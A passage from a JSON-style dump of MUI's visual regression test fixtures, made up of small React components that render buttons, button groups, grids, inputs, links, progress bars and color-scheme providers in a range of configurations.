    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Icon from '@mui/material/Icon';\nimport SendIcon from '@mui/icons-material/Send';\n\nexport default function IconLabelButtons() {\n  return (\n    <div>\n      <Button variant=\"contained\" color=\"secondary\" startIcon={<SendIcon />}>\n        Send\n      </Button>\n      <Button variant=\"contained\" endIcon={<Icon>send</Icon>}>\n        Send\n      </Button>\n      <Button variant=\"contained\" disabled color=\"secondary\" startIcon={<SendIcon />}>\n        Send\n      </Button>\n      <Button variant=\"contained\" size=\"small\" startIcon={<SendIcon />}>\n        Send\n      </Button>\n      <Button variant=\"contained\" size=\"large\" startIcon={<SendIcon />}>\n        Send\n      </Button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Button/MulticoloredButton.js",
    "content": "import * as React from 'react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\n\nconst darkTheme = createTheme({\n  palette: {\n    mode: 'dark',\n  },\n});\n\nconst theme = createTheme({});\n\nexport default function MulticoloredButton() {\n  return (\n    <React.Fragment>\n      <ThemeProvider theme={theme}>\n        <Box\n          sx={{\n            display: 'flex',\n            width: '100%',\n            alignItems: 'center',\n            justifyContent: 'center',\n            bgcolor: 'background.default',\n            color: 'text.primary',\n            p: 3,\n          }}\n        >\n          <Button variant=\"contained\" color=\"inherit\">\n            Button\n          </Button>\n        </Box>\n      </ThemeProvider>\n      <ThemeProvider theme={darkTheme}>\n        <Box\n          sx={{\n            display: 'flex',\n            width: '100%',\n            alignItems: 'center',\n            justifyContent: 'center',\n            bgcolor: 'background.default',\n            color: 'text.primary',\n            p: 3,\n          }}\n        >\n          <Button variant=\"contained\" color=\"inherit\">\n            Button\n          </Button>\n        </Box>\n      </ThemeProvider>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Button/MultilineButton.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\n\nexport default function MultilineButton() {\n  return (\n    <Button variant=\"contained\" style={{ width: 400 }}>\n      {[\n        'Contained buttons are rectangular-shaped buttons.',\n        'They may be used inline.',\n        'They lift and display ink reactions on press.',\n      ].join(' ')}\n    </Button>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/ButtonGroup/DifferentChildren.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport ButtonGroup from '@mui/material/ButtonGroup';\nimport Stack from '@mui/material/Stack';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function DifferentChildren() {\n  const falsyCondition = 1 === 2;\n\n  return (\n    <Stack spacing={2}>\n      {/* It has one button with href which is rendered as anchor tag */}\n      <ButtonGroup variant=\"contained\">\n        <Button href=\"##\">Button 1</Button>\n        <Button>Button 2</Button>\n        <Button>Button 3</Button>\n      </ButtonGroup>\n\n      {/* With tooltip */}\n      <ButtonGroup>\n        <Tooltip title=\"tooltip\">\n          <Button>Enabled</Button>\n        </Tooltip>\n        <Tooltip title=\"tooltip\">\n          <span>\n            <Button disabled>Disabled</Button>\n          </span>\n        </Tooltip>\n        <Tooltip title=\"tooltip\">\n          <span>\n            <Button disabled>Disabled</Button>\n          </span>\n        </Tooltip>\n      </ButtonGroup>\n\n      {/* Single button */}\n      <ButtonGroup>\n        <Button>Single Button</Button>\n      </ButtonGroup>\n\n      {/* Conditional elements */}\n      <ButtonGroup>\n        <Button>One</Button>\n        <Button>Two</Button>\n        {falsyCondition ? <Button>Three</Button> : undefined}\n      </ButtonGroup>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/ButtonGroup/DisabledButtonGroup.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport ButtonGroup from '@mui/material/ButtonGroup';\n\nconst buttons = [\n  <Button key=\"one\">One</Button>,\n  <Button key=\"two\">Two</Button>,\n  <Button key=\"three\">Three</Button>,\n];\n\nexport default function DisabledButtonGroup() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        alignItems: 'center',\n        '& > *': {\n          m: 1,\n        },\n      }}\n    >\n      {/* variant=\"text\" */}\n      <ButtonGroup\n        color=\"error\"\n        orientation=\"horizontal\"\n        aria-label=\"horizontal text button group\"\n        variant=\"text\"\n        disabled\n      >\n        {buttons}\n      </ButtonGroup>\n      {/* variant=\"text\" */}\n      <ButtonGroup\n        color=\"error\"\n        orientation=\"vertical\"\n        aria-label=\"vertical text button group\"\n        variant=\"text\"\n        disabled\n      >\n        {buttons}\n      </ButtonGroup>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/CssBaseline/MaterialCssBaseline.js",
    "content": "import * as React from 'react';\nimport { CssVarsProvider, extendTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport CssBaseline from '@mui/material/CssBaseline';\n\nconst theme = extendTheme({\n  colorSchemes: { light: true, dark: true },\n  colorSchemeSelector: '[data-mui-color-scheme=\"%s\"]',\n  disableCssColorScheme: true,\n});\n\nexport default function MaterialCssBaseline() {\n  return (\n    <CssVarsProvider theme={theme}>\n      <CssBaseline enableColorScheme />\n      <Box sx={{ p: 2, display: 'flex', flexDirection: 'column', gap: 2 }}>\n        <Box sx={{ width: 300, height: 100, overflow: 'scroll', bgcolor: 'background.paper' }}>\n          {/* The scrollbar should be light */}\n          <Box sx={{ height: 1000 }} />\n        </Box>\n        <Box\n          data-mui-color-scheme=\"dark\"\n          sx={{ width: 300, height: 100, overflow: 'scroll', bgcolor: 'background.paper' }}\n        >\n          {/* The scrollbar should be dark */}\n          <Box sx={{ height: 1000 }} />\n        </Box>\n      </Box>\n    </CssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/CssBaseline/MaterialScopedCssBaseline.js",
    "content": "import * as React from 'react';\nimport { CssVarsProvider, extendTheme, createTheme } from '@mui/material/styles';\nimport { cyan } from '@mui/material/colors';\nimport Box from '@mui/material/Box';\nimport ScopedCssBaseline from '@mui/material/ScopedCssBaseline';\n\nconst ocean = createTheme({\n  palette: {\n    mode: 'dark',\n    background: {\n      paper: cyan[200],\n    },\n  },\n});\n\nconst theme = extendTheme({\n  colorSchemeSelector: '[data-mui-color-scheme=\"%s\"]',\n  disableCssColorScheme: true,\n  colorSchemes: {\n    ocean: {\n      palette: ocean.palette,\n    },\n  },\n});\n\nexport default function MaterialScopedCssBaseline() {\n  return (\n    <CssVarsProvider theme={theme}>\n      <ScopedCssBaseline\n        enableColorScheme\n        data-mui-color-scheme=\"ocean\"\n        sx={{ width: 300, height: 100, overflow: 'scroll', bgcolor: 'background.paper' }}\n      >\n        {/* The scrollbar should be dark */}\n        <Box sx={{ height: 1000 }} />\n      </ScopedCssBaseline>\n    </CssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/CssVarsProvider/ColorSchemeSelector.js",
    "content": "import * as React from 'react';\nimport { unstable_createCssVarsProvider as createCssVarsProvider, createBox } from '@mui/system';\nimport { createCssVarsTheme } from '@mui/system/cssVars';\n\nconst Box = createBox();\n\nconst { CssVarsProvider } = createCssVarsProvider({\n  theme: createCssVarsTheme({\n    colorSchemes: {\n      light: {\n        background: {\n          default: '#fff',\n        },\n      },\n    },\n  }),\n  defaultColorScheme: {\n    light: 'light',\n    dark: 'dark',\n  },\n});\n\nexport default function ColorSchemeSelector() {\n  return (\n    <CssVarsProvider>\n      <Box\n        sx={(theme) => ({\n          p: 2,\n          color: '#fff',\n          [theme.getColorSchemeSelector('light')]: {\n            bgcolor: '#000',\n          },\n        })}\n      >\n        Background should be #000.\n      </Box>\n    </CssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/CssVarsProvider/DarkModeSpecificity.js",
    "content": "import * as React from 'react';\nimport {\n  unstable_createCssVarsProvider as createCssVarsProvider,\n  unstable_createCssVarsTheme as createCssVarsTheme,\n} from '@mui/system';\n\nconst { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n  theme: createCssVarsTheme({\n    colorSchemes: {\n      // test that styles order injection does not matter (dark comes before light).\n      dark: {\n        background: {\n          default: '#000',\n        },\n      },\n      light: {\n        background: {\n          default: '#e5e5e5',\n        },\n      },\n    },\n  }),\n  defaultColorScheme: {\n    light: 'light',\n    dark: 'dark',\n  },\n});\n\nfunction DarkMode() {\n  const { setMode } = useColorScheme();\n  React.useEffect(() => {\n    setMode('dark');\n  }, [setMode]);\n  return null;\n}\n\nexport default function DarkModeSpecificity() {\n  return (\n    <CssVarsProvider>\n      <DarkMode />\n      <div style={{ background: 'var(--background-default)', color: '#888', padding: '1rem' }}>\n        Background should be #000.\n      </div>\n    </CssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/CssVarsProvider/ForceColorSchemes.js",
    "content": "import * as React from 'react';\nimport {\n  unstable_createCssVarsProvider as createCssVarsProvider,\n  unstable_createCssVarsTheme as createCssVarsTheme,\n} from '@mui/system';\n\nconst { CssVarsProvider } = createCssVarsProvider({\n  theme: createCssVarsTheme({\n    colorSchemes: {\n      light: {\n        background: {\n          default: 'red',\n        },\n      },\n      dark: {\n        background: {\n          default: 'blue',\n        },\n      },\n    },\n  }),\n  defaultColorScheme: {\n    light: 'light',\n    dark: 'dark',\n  },\n});\n\nexport default function ForceColorSchemes() {\n  return (\n    <CssVarsProvider>\n      <div\n        data-color-scheme=\"dark\"\n        style={{\n          background: 'var(--background-default)',\n          color: 'white',\n          padding: '1rem',\n        }}\n      >\n        Background should be blue.\n        <div\n          data-color-scheme=\"light\"\n          style={{\n            background: 'var(--background-default)',\n            height: 40,\n            color: 'white',\n            padding: '1rem',\n          }}\n        >\n          Background should be red.\n        </div>\n      </div>\n    </CssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/CssVarsProvider/IndependentCssVarsProviders.js",
    "content": "import * as React from 'react';\nimport {\n  unstable_createCssVarsProvider as createCssVarsProvider,\n  unstable_createCssVarsTheme as createCssVarsTheme,\n} from '@mui/system';\n\nconst { CssVarsProvider, useColorScheme } = createCssVarsProvider({\n  theme: createCssVarsTheme({\n    colorSchemes: {\n      light: {\n        background: {\n          default: 'red',\n        },\n      },\n      dark: {\n        background: {\n          default: 'blue',\n        },\n      },\n    },\n  }),\n  defaultColorScheme: {\n    light: 'light',\n    dark: 'dark',\n  },\n});\n\nconst nestedTheme = createCssVarsTheme({\n  cssVarPrefix: 'nested',\n  colorSchemeSelector: '[data-nested-color-scheme=\"%s\"]',\n  colorSchemes: {\n    light: {\n      background: {\n        default: 'yellow',\n      },\n    },\n    dark: {\n      background: {\n        default: 'cyan',\n      },\n    },\n  },\n});\n\nfunction DarkMode() {\n  const { setMode } = useColorScheme();\n  React.useEffect(() => {\n    setMode('dark');\n  }, [setMode]);\n  return null;\n}\n\nexport default function IndependentCssVarsProviders() {\n  return (\n    <CssVarsProvider>\n      <div\n        style={{\n          background: 'var(--background-default)',\n          color: 'white',\n          padding: '1rem',\n        }}\n      >\n        Background should be red.\n        {/* If `disableNestedContext` is true, the upper CssVarsProvider should be independent */}\n        <CssVarsProvider theme={nestedTheme} disableNestedContext>\n          <DarkMode />\n          <div\n            style={{\n              background: 'var(--nested-background-default)',\n              height: 40,\n              color: '#000',\n              padding: '1rem',\n            }}\n          >\n            Background should be cyan.\n          </div>\n        </CssVarsProvider>\n      </div>\n    </CssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/CssVarsProvider/InjectFirstWithThemeVars.js",
    "content": "import * as React from 'react';\nimport {\n  ThemeProvider,\n  createTheme,\n  StyledEngineProvider,\n  useColorScheme,\n} from '@mui/material/styles';\nimport Box from '@mui/material/Box';\n\nconst theme = createTheme({\n  colorSchemes: { dark: true },\n  cssVariables: { colorSchemeSelector: '.regression-inject-first-%s' },\n});\n\nfunction AutoDark() {\n  const { setMode } = useColorScheme();\n  React.useEffect(() => {\n    setMode('dark');\n  }, [setMode]);\n  return null;\n}\n\nexport default function InjectFirstWithThemeVars() {\n  return (\n    <StyledEngineProvider injectFirst>\n      <ThemeProvider theme={theme} modeStorageKey=\"regression-inject-first\">\n        <AutoDark />\n        <Box\n          sx={{\n            border: 2,\n            borderColor: 'divider',\n            backgroundColor: 'background.default',\n            width: 100,\n            height: 100,\n            m: 1,\n          }}\n        />\n      </ThemeProvider>\n    </StyledEngineProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/CssVarsProvider/MaterialUIDefaultDark.js",
    "content": "import * as React from 'react';\nimport { CssVarsProvider, extendTheme } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Toolbar from '@mui/material/Toolbar';\n\nconst theme = extendTheme({ colorSchemes: { dark: true }, colorSchemeSelector: '.mode-%s' });\n\nexport default function MaterialUIDefaultDark() {\n  const [, rerender] = React.useState(false);\n  React.useEffect(() => {\n    // Trigger rerender to ensure that the UI does not change after the first render.\n    // To catch bug like https://github.com/mui/material-ui/issues/36452\n    rerender(true);\n  }, []);\n  return (\n    <CssVarsProvider theme={theme}>\n      <Box\n        sx={{\n          display: 'grid',\n          gridTemplateColumns: 'repeat(auto-fill, minmax(256px, 1fr))',\n          gridAutoRows: 'minmax(160px, auto)',\n          gap: 2,\n          '& > div': {\n            placeSelf: 'center',\n          },\n        }}\n      >\n        <AppBar position=\"static\" color=\"secondary\" elevation={12}>\n          <Toolbar>The color should be `palette.AppBar.darkBg`</Toolbar>\n        </AppBar>\n        <Box sx={{ bgcolor: '#121212', p: 4 }}>\n          <Paper elevation={24} sx={{ bgcolor: '#121212', p: 2, color: '#fff' }}>\n            You should see overlay.\n          </Paper>\n        </Box>\n      </Box>\n    </CssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/CssVarsProvider/MaterialUIDefaultDarkToLight.js",
    "content": "import * as React from 'react';\nimport { CssVarsProvider, extendTheme, useColorScheme } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Toolbar from '@mui/material/Toolbar';\n\nfunction LightMode() {\n  const { setMode } = useColorScheme();\n  React.useEffect(() => {\n    setMode('light');\n  }, [setMode]);\n  return null;\n}\n\nconst theme = extendTheme({ defaultColorScheme: 'dark', colorSchemeSelector: '.mode-%s' });\n\nexport default function MaterialUIDefaultDark() {\n  return (\n    <CssVarsProvider theme={theme}>\n      <LightMode />\n      <Box\n        sx={{\n          display: 'grid',\n          gridTemplateColumns: 'repeat(auto-fill, minmax(256px, 1fr))',\n          gridAutoRows: 'minmax(160px, auto)',\n          gap: 2,\n          '& > div': {\n            placeSelf: 'center',\n          },\n        }}\n      >\n        <AppBar position=\"static\" color=\"secondary\" elevation={12}>\n          <Toolbar>The color should be secondary.</Toolbar>\n        </AppBar>\n        <Box sx={{ bgcolor: '#121212', p: 4 }}>\n          <Paper elevation={24} sx={{ bgcolor: '#121212', p: 2, color: '#fff' }}>\n            You <em>should not</em> see overlay.\n          </Paper>\n        </Box>\n      </Box>\n    </CssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/CssVarsProvider/NestedCssVarsProviders.js",
    "content": "import * as React from 'react';\nimport {\n  unstable_createCssVarsProvider as createCssVarsProvider,\n  unstable_createCssVarsTheme as createCssVarsTheme,\n} from '@mui/system';\n\nconst { CssVarsProvider } = createCssVarsProvider({\n  theme: createCssVarsTheme({\n    colorSchemes: {\n      light: {\n        background: {\n          default: 'red',\n        },\n      },\n      dark: {\n        background: {\n          default: 'blue',\n        },\n      },\n    },\n  }),\n  defaultColorScheme: {\n    light: 'light',\n    dark: 'dark',\n  },\n});\n\nconst nestedTheme = createCssVarsTheme({\n  cssVarPrefix: 'nested',\n  colorSchemes: {\n    light: {\n      background: {\n        default: 'yellow',\n      },\n    },\n    dark: {\n      background: {\n        default: 'tomato',\n      },\n    },\n  },\n});\n\nexport default function NestedCssVarsProviders() {\n  return (\n    <CssVarsProvider>\n      <div\n        data-color-scheme=\"light\"\n        style={{\n          background: 'var(--background-default)',\n          color: 'white',\n          padding: '1rem',\n        }}\n      >\n        Background should be red.\n        <CssVarsProvider theme={nestedTheme}>\n          <div\n            style={{\n              background: 'var(--nested-background-default)',\n              height: 40,\n              color: '#000',\n              padding: '1rem',\n            }}\n          >\n            Background should be yellow.\n          </div>\n        </CssVarsProvider>\n      </div>\n      <div\n        data-color-scheme=\"dark\"\n        style={{\n          background: 'var(--background-default)',\n          color: 'white',\n          padding: '1rem',\n        }}\n      >\n        Background should be blue.\n        <CssVarsProvider theme={nestedTheme} disableStyleSheetGeneration>\n          <div\n            style={{\n              background: 'var(--nested-background-default)',\n              height: 40,\n              color: '#000',\n              padding: '1rem',\n            }}\n          >\n            Background should be tomato.\n          </div>\n        </CssVarsProvider>\n      </div>\n    </CssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Dialog/AlertDialog.js",
    "content": "import * as React from 'react';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport Paper from '@mui/material/Paper';\nimport Button from '@mui/material/Button';\n\nexport default function AlertDialog() {\n  return (\n    <Paper\n      elevation={8}\n      style={{\n        width: 300,\n      }}\n    >\n      <DialogTitle>{\"Use Google's location service?\"}</DialogTitle>\n      <DialogContent>\n        <DialogContentText>\n          Let Google help apps determine location. This means sending anonymous location data to\n          Google, even when no apps are running.\n        </DialogContentText>\n      </DialogContent>\n      <DialogActions>\n        <Button color=\"primary\">Disagree</Button>\n        <Button color=\"primary\">Agree</Button>\n      </DialogActions>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/GlobalStyles/InjectFirst.js",
    "content": "import * as React from 'react';\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport Typography from '@mui/material/Typography';\n\nexport default function InjectFirst() {\n  return (\n    <StyledEngineProvider injectFirst>\n      <CssBaseline />\n      <Typography variant=\"h1\">Hello MUI v6</Typography>\n      <Typography>The color should be red</Typography>\n      <GlobalStyles styles={() => ({ body: { color: 'red' } })} />\n    </StyledEngineProvider>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Grid/Issue43707.js",
    "content": "/* eslint-disable */\nimport * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: theme.palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function VariableWidthGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={5}>\n        <Grid size=\"auto\">\n          <Item>size=auto</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>size=6</Item>\n        </Grid>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n\n        <Grid size={12} container>\n          <Grid size={10}>\n            <Item>Nested 10 under a 12</Item>\n          </Grid>\n          <Grid size={2}>\n            <Item>Nested 2 under a 12</Item>\n          </Grid>\n        </Grid>\n\n        <Grid size={12} container spacing={1}>\n          <Grid size={10}>\n            <Item>Nested 10 under a 12 override spacing</Item>\n          </Grid>\n          <Grid size={2}>\n            <Item>Nested 2 under a 12 override spacing</Item>\n          </Grid>\n        </Grid>\n\n        <Grid size={12}>\n          <Grid container>\n            {/* Container not nested in container. Does not inherit spacing */}\n            <Grid size={10}>\n              <Item>Incorrectly nested 10 under a 12</Item>\n            </Grid>\n            <Grid size={2}>\n              <Item>Incorrectly nested 2 under a 12</Item>\n            </Grid>\n          </Grid>\n        </Grid>\n\n        <Grid size={12}>\n          <>\n            <Grid container>\n              {/* Container not nested in container. Does not inherit spacing */}\n              <Grid size={10}>\n                <Item>Nested 10 under a 12 with fragment</Item>\n              </Grid>\n              <Grid size={2}>\n                <Item>Nested 2 under a 12 with fragment</Item>\n              </Grid>\n            </Grid>\n          </>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Grid/StressNestedGrid.js",
    "content": "import * as React from 'react';\nimport Paper from '@mui/material/Paper';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\n\nexport default function StressNestedGrid() {\n  return (\n    <Box\n      sx={{\n        width: 600,\n        display: 'flex',\n        bgcolor: 'secondary.main',\n        '& .MuiPaper-root': {\n          p: 2,\n          textAlign: 'center',\n        },\n      }}\n    >\n      <Grid container spacing={1}>\n        <Grid size={12}>\n          <Paper>xs=12</Paper>\n        </Grid>\n        <Grid size={6}>\n          <Paper>xs=6</Paper>\n        </Grid>\n        <Grid size={6}>\n          <Paper>xs=6</Paper>\n        </Grid>\n        <Box sx={{ p: 2, width: '100%' }}>\n          {/* This grid should start as a new root grid (doesn't inherit spacing from the top) */}\n          <Grid container spacing={3}>\n            <Grid size={6}>\n              <Paper>xs=6</Paper>\n            </Grid>\n            <Grid container size={6}>\n              {/* nested spacing can be override by the explicit `spacing` prop */}\n              <Grid container spacing={1} size={6}>\n                <Grid size={7}>\n                  <Paper>xs=7</Paper>\n                </Grid>\n                <Grid size={5}>\n                  <Paper>xs=5</Paper>\n                </Grid>\n              </Grid>\n              <Grid size={6}>\n                <Paper>xs=6</Paper>\n              </Grid>\n            </Grid>\n          </Grid>\n        </Box>\n        <Grid container spacing={3} size={6}>\n          <Grid size={6}>\n            <Paper>xs=6</Paper>\n          </Grid>\n          <Grid size={6}>\n            <Paper>xs=6</Paper>\n          </Grid>\n        </Grid>\n        <Grid container spacing={3} size={6}>\n          <Grid size={8}>\n            <Paper>xs=8</Paper>\n          </Grid>\n          <Grid size={4}>\n            <Paper>xs=4</Paper>\n          </Grid>\n        </Grid>\n\n        {/* The grids below should inherit spacing from the top */}\n        <Grid container size={6}>\n          <Grid size={4}>\n            <Paper>xs=4</Paper>\n          </Grid>\n          <Grid size={4}>\n            <Paper>xs=4</Paper>\n          </Grid>\n          <Grid size={4}>\n            <Paper>xs=4</Paper>\n          </Grid>\n        </Grid>\n        <Grid container size={6}>\n          <Grid size={6}>\n            <Paper>xs=6</Paper>\n          </Grid>\n          <Grid size={6}>\n            <Paper>xs=6</Paper>\n          </Grid>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Grid/StyledGrid.js",
    "content": "import * as React from 'react';\nimport Paper from '@mui/material/Paper';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport { styled } from '@mui/material/styles';\n\n// styled(Grid) should work with nested grids.\nconst StyledGrid = styled(Grid)({});\n\nexport default function StyledGridTest() {\n  return (\n    <Box sx={{ p: 3, width: 600 }}>\n      <Grid container spacing={4}>\n        <Grid size={4}>\n          <Paper>Item 1</Paper>\n        </Grid>\n        <StyledGrid container size={4}>\n          <StyledGrid size={6}>\n            <Paper>Item 2.1</Paper>\n          </StyledGrid>\n          <Grid size={6}>\n            <Paper>Item 2.2</Paper>\n          </Grid>\n        </StyledGrid>\n        <StyledGrid size={4}>\n          <Paper>Item 3</Paper>\n        </StyledGrid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Input/InputLabels.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport InputLabel from '@mui/material/InputLabel';\n\nfunction InputLabels() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'flex-start',\n        padding: '20px', // so transform doesn't let things get cut off\n      }}\n    >\n      <InputLabel shrink>First Name Shrunk</InputLabel>\n      <InputLabel>First Name</InputLabel>\n      <InputLabel focused>Required</InputLabel>\n      <InputLabel focused required>\n        Focused Required\n      </InputLabel>\n      <InputLabel required>Required</InputLabel>\n      <InputLabel error>Error</InputLabel>\n      <InputLabel required error>\n        Required Error\n      </InputLabel>\n    </Box>\n  );\n}\n\nexport default InputLabels;\n"
  },
  {
    "path": "test/regressions/fixtures/Input/Inputs.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Input from '@mui/material/Input';\n\nfunction Inputs() {\n  const inputRef = React.useRef();\n\n  React.useEffect(() => {\n    inputRef.current.focus();\n  }, []);\n\n  return (\n    <div>\n      <Box sx={{ display: 'flex', flexDirection: 'column', width: 200 }}>\n        <Input value=\"Hello world\" sx={{ m: '10px' }} />\n        <Input placeholder=\"Placeholder\" sx={{ m: '10px' }} />\n        <Input value=\"Disabled\" sx={{ m: '10px' }} disabled />\n        <Input error value=\"Error\" sx={{ m: '10px' }} />\n        <Input value=\"Focused\" inputRef={inputRef} sx={{ m: '10px' }} />\n        <Input type=\"search\" defaultValue=\"Hello world\" />\n      </Box>\n      <Input value=\"Large input\" sx={{ m: '10px', width: 300 }} />\n    </div>\n  );\n}\n\nexport default Inputs;\n"
  },
  {
    "path": "test/regressions/fixtures/LinearProgress/BufferLinearProgress.js",
    "content": "import * as React from 'react';\nimport LinearProgress from '@mui/material/LinearProgress';\n\nexport default function DeterminateLinearProgress() {\n  return (\n    <LinearProgress\n      variant=\"buffer\"\n      value={60}\n      valueBuffer={80}\n      style={{\n        width: 150,\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/LinearProgress/DeterminateLinearProgress.js",
    "content": "import * as React from 'react';\nimport LinearProgress from '@mui/material/LinearProgress';\n\nexport default function DeterminateLinearProgress() {\n  return (\n    <div>\n      <LinearProgress variant=\"determinate\" value={60} style={{ width: 150 }} />\n      <LinearProgress variant=\"determinate\" value={60} style={{ width: 150 }} color=\"inherit\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Link/LinkColor.js",
    "content": "import * as React from 'react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Link from '@mui/material/Link';\n\nexport default function DeterminateLinearProgress() {\n  return (\n    <div>\n      <ThemeProvider\n        theme={createTheme({\n          components: {\n            MuiLink: {\n              styleOverrides: {\n                root: ({ ownerState, theme }) => ({\n                  ...(ownerState.color === 'secondary' && {\n                    color: theme.palette.error.main,\n                  }),\n                }),\n              },\n              variants: [\n                {\n                  props: { color: 'textPrimary' },\n                  style: ({ theme }) => ({\n                    color: theme.palette.warning.main,\n                  }),\n                },\n              ],\n            },\n          },\n        })}\n      >\n        <Link href=\"#unknown\">primary</Link>\n        <Link href=\"#unknown\" color=\"secondary\">\n          error\n        </Link>\n        <Link href=\"#unknown\" color=\"textPrimary\">\n          warning\n        </Link>\n      </ThemeProvider>\n      <ThemeProvider\n        theme={createTheme({\n          components: {\n            MuiLink: {\n              styleOverrides: {\n                root: {\n                  color: '#fbca04', // orange\n                },\n              },\n            },\n          },\n        })}\n      >\n        <Link href=\"#unknown\">#fbca04</Link>\n        <Link href=\"#unknown\" color=\"#ff5252\">\n          #ff5252\n        </Link>\n        <Link href=\"#unknown\" sx={{ color: '#ff5252' }}>\n          #ff5252 (primary underline)\n        </Link>\n        <Link href=\"#unknown\" sx={(theme) => ({ color: theme.palette.secondary.main })}>\n          secondary\n        </Link>\n        <Link href=\"#unknown\" sx={{ color: (theme) => theme.palette.error.main }}>\n          error\n        </Link>\n      </ThemeProvider>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/ListSubheader/SimpleListSubheader.js",
    "content": "import * as React from 'react';\nimport ListSubheader from '@mui/material/ListSubheader';\n\nexport default function SimpleListSubheader() {\n  return (\n    <div>\n      <ListSubheader>Title</ListSubheader>\n      <ListSubheader color=\"primary\">Title</ListSubheader>\n      <ListSubheader inset>Title</ListSubheader>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Masonry/EmSpacingValue.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Masonry from '@mui/lab/Masonry';\n\nconst heights = [150, 30, 90, 70, 110, 150, 130, 80, 50, 90, 100, 150, 30, 50, 80];\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(0.5),\n  textAlign: 'center',\n  color: theme.palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function EmSpacingValue() {\n  return (\n    <Box sx={{ width: 500, minHeight: 393 }}>\n      <Masonry columns={4} spacing={'2rem'}>\n        {heights.map((height, index) => (\n          <Item key={index} sx={{ height }}>\n            {index + 1}\n          </Item>\n        ))}\n      </Masonry>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "test/regressions/fixtures/Masonry/HeavyMasonry.js",
